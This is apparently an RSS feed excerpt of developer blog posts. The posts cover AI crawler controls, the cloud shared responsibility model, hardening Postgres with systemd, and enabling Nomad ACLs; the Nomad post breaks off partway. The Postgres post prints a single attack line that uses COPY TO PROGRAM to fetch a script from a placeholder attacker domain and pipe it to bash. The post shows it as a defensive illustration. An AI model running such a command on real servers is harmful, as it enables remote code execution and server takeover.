        &lt;li&gt;Private content is protected with real access controls.&lt;/li&gt;
        &lt;li&gt;robots.txt, CDN, WAF, and origin behavior agree.&lt;/li&gt;
        &lt;li&gt;Official crawler documentation and IP sources were checked recently.&lt;/li&gt;
        &lt;li&gt;Important public pages return useful HTML to allowed agents.&lt;/li&gt;
        &lt;li&gt;An llms.txt experiment has a narrow purpose, owner, generator, and removal plan.&lt;/li&gt;
        &lt;li&gt;No ranking or citation outcome is promised.&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p&gt;For most small businesses, the right answer is simple: skip &lt;code&gt;llms.txt&lt;/code&gt; for now, make the real pages easy to crawl and understand, and control each crawler according to the job it performs.&lt;/p&gt;

      &lt;h2&gt;Sources checked&lt;/h2&gt;
      &lt;p&gt;Behavior and crawler names were verified from primary or official documentation on August 2, 2026.&lt;/p&gt;
      &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://llmstxt.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;llms.txt proposal and format&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/appearance/ai-features&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Google Search Central: AI features and your website&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://developers.google.com/crawling/docs/crawlers-fetchers/google-common-crawlers&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Google: common crawlers and Google-Extended&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://help.openai.com/en/articles/12627856-publishers-and-developers-faq&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;OpenAI: Publishers and Developers FAQ&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://support.claude.com/en/articles/8896518-does-anthropic-crawl-data-from-the-web-and-how-can-site-owners-block-the-crawler&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Anthropic: Claude crawler controls&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://docs.perplexity.ai/docs/resources/perplexity-crawlers&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot;&gt;Perplexity: crawler and WAF documentation&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;

      &lt;nav class=&quot;article-related&quot; aria-label=&quot;Related reading&quot;&gt;
        &lt;p class=&quot;article-related-h mono&quot;&gt;Keep reading&lt;/p&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/how-to-get-cited-in-ai-search&quot;&gt;How to Get Cited in AI Search: Evidence, Structure, Limits&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/article-schema-guide&quot;&gt;Article Schema Guide: Author, Dates, and Breadcrumbs&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/technical-seo-fixes-agencies-wont-touch&quot;&gt;Technical SEO Fixes Agencies Often Leave Behind&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/nav&gt;

      &lt;div class=&quot;article-cta&quot;&gt;
        &lt;p class=&quot;cta-h&quot;&gt;Need a crawler-access review?&lt;/p&gt;
        &lt;p&gt;I can review robots rules, CDN and WAF behavior, indexability, structured data, and AI-search access without selling an experimental file as a ranking shortcut.&lt;/p&gt;
        &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo-audit&quot; class=&quot;btn btn-primary article-cta-button&quot;&gt;Request an SEO audit&lt;/a&gt;
      &lt;/div&gt;
&lt;p&gt;&lt;em&gt;Originally published on &lt;a rel=&quot;nofollow&quot; href=&quot;https://floxolab.com/seo/guides/do-you-need-llms-txt&quot;&gt;FloxoLab&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/25656/do-you-need-llms-txt-ai-crawler-controls-explained</guid>
<pubDate>Fri, 25 Sep 2026 15:50:00 +0000</pubDate>
</item>
<item>
<title>What is the shared responsibility model in cloud computing?</title>
<link>https://coderlegion.com/22512/what-is-the-shared-responsibility-model-in-cloud-computing</link>
<description>
&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;Star git-lrc on GitHub&lt;/a&gt; to help more developers discover the project. Do give it a try and share your feedback for improving the product.&lt;br&gt;
One of the biggest misconceptions about cloud computing is that once you move to the cloud, the cloud provider takes care of everything. &lt;/p&gt;

&lt;p&gt;While cloud providers manage a significant portion of the infrastructure, customers still have important security and operational responsibilities.&lt;/p&gt;

&lt;p&gt;This concept is known as the &lt;strong&gt;Shared Responsibility Model&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The division of responsibilities changes depending on whether you're running workloads &lt;strong&gt;On-Premises&lt;/strong&gt;, using &lt;strong&gt;Infrastructure as a Service (IaaS)&lt;/strong&gt;, &lt;strong&gt;Platform as a Service (PaaS)&lt;/strong&gt;, or &lt;strong&gt;Software as a Service (SaaS)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's break it down.&lt;/p&gt;

&lt;h2&gt;
  
  
  On-Premises: You Manage Everything
&lt;/h2&gt;

&lt;p&gt;When your applications run in your own data center, every component is your responsibility.&lt;/p&gt;

&lt;h3&gt;
  
  
  Customer Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Data&lt;/li&gt;
&lt;li&gt;Devices&lt;/li&gt;
&lt;li&gt;Accounts&lt;/li&gt;
&lt;li&gt;Identity and Access Management (IAM)&lt;/li&gt;
&lt;li&gt;Applications&lt;/li&gt;
&lt;li&gt;Network controls&lt;/li&gt;
&lt;li&gt;Operating systems&lt;/li&gt;
&lt;li&gt;Infrastructure&lt;/li&gt;
&lt;li&gt;Physical servers&lt;/li&gt;
&lt;li&gt;Physical networking&lt;/li&gt;
&lt;li&gt;Datacenter facilities&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What the Provider Manages
&lt;/h3&gt;

&lt;p&gt;Nothing.&lt;/p&gt;

&lt;p&gt;Since everything is hosted on your own infrastructure, there is no cloud provider to share operational responsibilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Infrastructure as a Service (IaaS)
&lt;/h2&gt;

&lt;p&gt;Examples include virtual machines such as &lt;strong&gt;Amazon EC2&lt;/strong&gt;, &lt;strong&gt;Azure Virtual Machines&lt;/strong&gt;, and &lt;strong&gt;Google Compute Engine&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;With IaaS, the provider supplies the infrastructure while you manage everything running on top of it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Customer Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Data&lt;/li&gt;
&lt;li&gt;Devices&lt;/li&gt;
&lt;li&gt;Accounts&lt;/li&gt;
&lt;li&gt;Identity and Access Management&lt;/li&gt;
&lt;li&gt;Applications&lt;/li&gt;
&lt;li&gt;Network controls (firewalls, security groups, etc.)&lt;/li&gt;
&lt;li&gt;Operating systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cloud Provider Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Physical infrastructure&lt;/li&gt;
&lt;li&gt;Physical hosts&lt;/li&gt;
&lt;li&gt;Physical networking&lt;/li&gt;
&lt;li&gt;Datacenters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IaaS gives you the most flexibility among cloud service models, but it also requires the most operational management.&lt;/p&gt;

&lt;h2&gt;
  
  
  Platform as a Service (PaaS)
&lt;/h2&gt;

&lt;p&gt;Examples include &lt;strong&gt;Azure App Service&lt;/strong&gt;, &lt;strong&gt;AWS Elastic Beanstalk&lt;/strong&gt;, &lt;strong&gt;Google App Engine&lt;/strong&gt;, and &lt;strong&gt;Heroku&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;PaaS removes the burden of managing operating systems and infrastructure, allowing developers to focus on building applications.&lt;/p&gt;

&lt;h3&gt;
  
  
  Customer Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Data&lt;/li&gt;
&lt;li&gt;Devices&lt;/li&gt;
&lt;li&gt;Accounts&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Shared Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Identity and Access Management&lt;/li&gt;
&lt;li&gt;Applications&lt;/li&gt;
&lt;li&gt;Network controls&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cloud Provider Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Operating systems&lt;/li&gt;
&lt;li&gt;Infrastructure&lt;/li&gt;
&lt;li&gt;Physical hosts&lt;/li&gt;
&lt;li&gt;Physical networking&lt;/li&gt;
&lt;li&gt;Datacenters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PaaS strikes a balance between flexibility and convenience, making it an excellent choice for many modern application deployments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Software as a Service (SaaS)
&lt;/h2&gt;

&lt;p&gt;Examples include &lt;strong&gt;Microsoft 365&lt;/strong&gt;, &lt;strong&gt;Salesforce&lt;/strong&gt;, &lt;strong&gt;Google Workspace&lt;/strong&gt;, and &lt;strong&gt;Dropbox&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;With SaaS, the provider delivers a complete application that users simply access through a web browser or client application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Customer Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Data&lt;/li&gt;
&lt;li&gt;Devices&lt;/li&gt;
&lt;li&gt;Accounts&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Shared Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Identity and Access Management&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cloud Provider Responsibilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Applications&lt;/li&gt;
&lt;li&gt;Network controls&lt;/li&gt;
&lt;li&gt;Operating systems&lt;/li&gt;
&lt;li&gt;Infrastructure&lt;/li&gt;
&lt;li&gt;Physical hosts&lt;/li&gt;
&lt;li&gt;Physical networking&lt;/li&gt;
&lt;li&gt;Datacenters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SaaS offers the lowest operational overhead because the provider manages nearly the entire technology stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shared Responsibility at a Glance
&lt;/h2&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service Model&lt;/th&gt;
&lt;th&gt;Customer Manages&lt;/th&gt;
&lt;th&gt;Shared&lt;/th&gt;
&lt;th&gt;Provider Manages&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;On-Premises&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Everything&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IaaS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OS, applications, IAM, network controls, data&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Infrastructure &amp;amp; physical hardware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PaaS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data, devices, accounts&lt;/td&gt;
&lt;td&gt;IAM, applications, network controls&lt;/td&gt;
&lt;td&gt;OS, infrastructure &amp;amp; physical hardware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SaaS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data, devices, accounts&lt;/td&gt;
&lt;td&gt;IAM&lt;/td&gt;
&lt;td&gt;Applications, OS, infrastructure &amp;amp; physical hardware&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;No matter which cloud service model you choose, &lt;strong&gt;your data, devices, and user accounts remain your responsibility&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As you move from &lt;strong&gt;On-Premises &amp;rarr; IaaS &amp;rarr; PaaS &amp;rarr; SaaS&lt;/strong&gt;, the cloud provider takes on progressively more responsibility, reducing your operational burden. However, protecting your users, managing access, and securing your data always remain critical tasks.&lt;/p&gt;

&lt;p&gt;Understanding where your responsibilities begin&amp;mdash;and where the provider's responsibilities end&amp;mdash;is essential for building secure, reliable cloud solutions.&lt;/p&gt;

&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgwhz66dm3bzh2vjz7f5e.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgwhz66dm3bzh2vjz7f5e.png&quot; alt=&quot;&quot; width=&quot;800&quot; height=&quot;533&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuphqwcp6bha9ol6pdo3.png&quot; alt=&quot;git-lrc&quot; width=&quot;360&quot; height=&quot;540&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It's online, source-available, and ready for anyone to use.&lt;/p&gt;

&lt;p&gt;&amp;#11088; &lt;a href=&quot;https://github.com/HexmosTech/git-lrc?utm_source=chatgpt.com&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;Star git-lrc on GitHub&lt;/a&gt;&lt;/p&gt;
</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/22512/what-is-the-shared-responsibility-model-in-cloud-computing</guid>
<pubDate>Tue, 14 Jul 2026 22:00:08 +0000</pubDate>
</item>
<item>
<title>Understanding Systemd.exec - Part 2: Solving Postgres Vulnerability.</title>
<link>https://coderlegion.com/16113/understanding-systemd-exec-part-2-solving-postgres-vulnerability</link>
<description>
&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article I explained few core features of the Systemd configuration. In this article, I will be going to demonstrate how to use these options to secure Postgres service running in systemd.&lt;/p&gt;

&lt;p&gt;Postgres is a popular relational database management system. It is widely used in enterprise applications.&lt;/p&gt;

&lt;p&gt;Postgres can be run in systemd and can be secured using systemd.exec options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Postgres need systemd.exec options?
&lt;/h2&gt;

&lt;p&gt;If any one breached the db access they not only get the data but also get access to shell access of the server.&lt;/p&gt;

&lt;p&gt;With use of postgrace copy to function.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;COPY &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT 1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; TO PROGRAM &lt;span class=&quot;s1&quot;&gt;'curl -L &lt;a href=&quot;https://{attacker-domain.com}/install&quot; rel=&quot;nofollow&quot;&gt;https://{attacker-domain.com}/install&lt;/a&gt; | bash'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way they can break through the database and get access to the server.&lt;/p&gt;

&lt;p&gt;To remove this access there are multiple ways &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;creating roles based postgresql access and remove all pgexec to specific role.&lt;/li&gt;
&lt;li&gt;Blocking port access to internet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Still, this feature will be accessible to admin user.&lt;/p&gt;

&lt;p&gt;Lot of discussion went on adding disable feature in pg but many also argued that this is core function as Select feature is such that it can't be removed.&lt;/p&gt;

&lt;p&gt;Also some also says it is core function many other's use for thier company opertion.&lt;/p&gt;

&lt;p&gt;To disable this feature in postgres, as we saw in previous article we can use systemd.exec options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Coming Up Next
&lt;/h2&gt;

&lt;p&gt;we will securing Postgrace access using systemd.exec options.&lt;/p&gt;

&lt;p&gt;Discussion in HN: &lt;a href=&quot;https://news.ycombinator.com/item?id=37164115&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://news.ycombinator.com/item?id=37164115&lt;/a&gt;&lt;br&gt;
PostgreSQL Discussion : &lt;a href=&quot;https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png&quot; alt=&quot;git-lrc&quot; width=&quot;800&quot; height=&quot;373&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It&amp;rsquo;s online, source-available, and ready for anyone to use. &lt;br&gt;
&amp;#11088; Star it on GitHub: &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;


</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/16113/understanding-systemd-exec-part-2-solving-postgres-vulnerability</guid>
<pubDate>Sun, 03 May 2026 19:41:08 +0000</pubDate>
</item>
<item>
<title>How to Secure Nomad?</title>
<link>https://coderlegion.com/16115/how-to-secure-nomad</link>
<description>
&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;Nomad is a flexible workload orchestrator that enables an organization to easily deploy and manage any containerized or legacy application using a single, unified workflow. &lt;/p&gt;

&lt;p&gt;Nomad can run a diverse workload of Docker, non-containerized, microservice, and batch applications.&lt;/p&gt;

&lt;p&gt;With powerful features, it becomes very important to secure the Nomad cluster.&lt;/p&gt;

&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F278yl2e31bd4t34mn94y.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F278yl2e31bd4t34mn94y.png&quot; alt=&quot;&quot; width=&quot;302&quot; height=&quot;167&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If anyone gets access to the cluster, it can lead to a big security risk.&lt;/p&gt;

&lt;p&gt;In this article I will explain how to secure the Nomad cluster.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enable ACL in Nomad
&lt;/h2&gt;

&lt;p&gt;ACL is a feature in Nomad that allows you to control access to the cluster.&lt;/p&gt;

&lt;p&gt;It is a way to implement the principle of least privilege, which means that users should only have access to the resources that they need to do their job.&lt;/p&gt;

&lt;p&gt;To enable ACL in Nomad, you need to add the following lines to your Nomad server configuration file:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/etc/nomad.d/nomad.hcl&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight hcl&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;acl&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;enabled&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once it is enabled, you need to restart the Nomad server to apply the changes.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;systemctl restart nomad
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Generate Security Token for Nomad
&lt;/h2&gt;

&lt;p&gt;Once ACL is enabled, you need to generate a security token for Nomad.&lt;/p&gt;

&lt;p&gt;You need to bootstrap the ACL system to generate the initial security token.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;nomad acl bootstrap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It will return something like this&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;Accessor ID  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;ACCESSOR_ID&amp;gt;
Secret ID    &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;SECRET_ID&amp;gt;
Name         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; Bootstrap Token
Type         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; management
Global       &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true
&lt;/span&gt;Create Time  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;timestamp&amp;gt;
Expiry Time  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;none&amp;gt;
Create Index &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;create_index&amp;gt;
Modify Index &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &amp;lt;modify_index&amp;gt;
Policies     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; n/a
Roles        &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; n/a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copy and  to a secure location. You will need this token to access the Nomad UI and API.&lt;/p&gt;

&lt;p&gt;Once this is done if we try to access the Nomad UI or API without the token, it will return 403 Forbidden.&lt;/p&gt;

&lt;p&gt;Which means ACL is enabled and working.&lt;/p&gt;

&lt;h2&gt;
  
  
  Create Policy for Users
&lt;/h2&gt;

&lt;p&gt;As it is recommended not to use bootstrap token directly, we should create policies for users based on their roles.&lt;/p&gt;

&lt;p&gt;Based on requirements you can create policies for users.&lt;/p&gt;

&lt;p&gt;For example, let's create a policy for a user who can only read the jobs and node information.&lt;/p&gt;

&lt;p&gt;Readonly access policy for a user.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight hcl&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;default&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;capabilities&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;list-jobs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read-job&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;agent&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;operator&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;quota&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;host_volume&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;*&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;policy&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will make sure only read access for the users. This may be given to monitoring tools to monitor the cluster.&lt;/p&gt;

&lt;p&gt;Create this file in &lt;code&gt;./nomad/policies/readonly.hcl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once done create a token for this policy.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;nomad acl policy apply &lt;span class=&quot;nt&quot;&gt;-description&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Readonly policy&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;readonly&lt;/span&gt; ./nomad/policies/readonly.hcl
Successfully wrote &lt;span class=&quot;s2&quot;&gt;&quot;readonly&quot;&lt;/span&gt; ACL policy!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create Keys for Selected Policy&lt;br&gt;
&lt;/p&gt;

